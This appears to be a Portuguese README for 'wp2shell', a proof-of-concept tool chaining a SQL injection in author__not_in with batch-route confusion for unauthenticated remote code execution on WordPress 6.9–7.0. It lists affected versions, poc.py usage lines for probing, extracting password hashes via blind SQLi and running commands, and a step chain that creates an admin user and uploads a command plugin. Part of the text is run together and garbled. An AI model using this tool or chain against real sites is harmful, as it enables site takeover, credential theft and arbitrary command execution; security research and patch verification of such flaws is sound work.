
wp2shell — RCE pré-autenticação no WordPress Core (CVE-2026-60137 + CVE-2026-63030). Encadeia uma injeção de SQL em author__not_in com confusão de rota em lote para execução remota de código não autenticada no WP 6.9.0–6.9.4 / 7.0.0–7.0.1.
| Intervalo | Status |
|---|
| <= 6.8.5 | Não afetado (sem confusão de lote) |
| 6.8.0 - 6.8.5 | Apenas SQLi, sem RCE |
| 6.9.0 - 6.9.4 | Vulnerável |
| 7.0.0 - 7.0.1 | Vulnerável |
| 7.0.2+ / 6.9.5+ | Corrigido |
python3 poc.py -u TARGET_URL
python3 poc.py -u TARGET_URL --sql "SELECT user_pass FROM wp_users LIMIT 1"
python3 poc.py -u TARGET_URL -c "id"
| Argumentos | Comportamento |
|---|---|
-u TARGET_URL | Verifica se é vulnerável (sonda de temporização) |
-u TARGET_URL --sql "SQL" | Extrai valor escalar via SQLi cega |
-u TARGET_URL -c "CMD" | Cadeia RCE completa |
/batch/v1) para dessincronizar o tratamento de requisições e contornar a autenticaçãoauthor_exclude via oráculo de temporização SLEEP()Vulnerability check → Seed oEmbed posts → Extract table name (blind SQLi)
→ Extract admin ID (blind SQLi) → Extract cache post IDs (blind SQLi)
→ Inject poisoned changeset via batch → Create admin user
→ Login → Upload command plugin → Execute command → Cleanup
author__not_in: descoberto por TF1T, dtro, haongo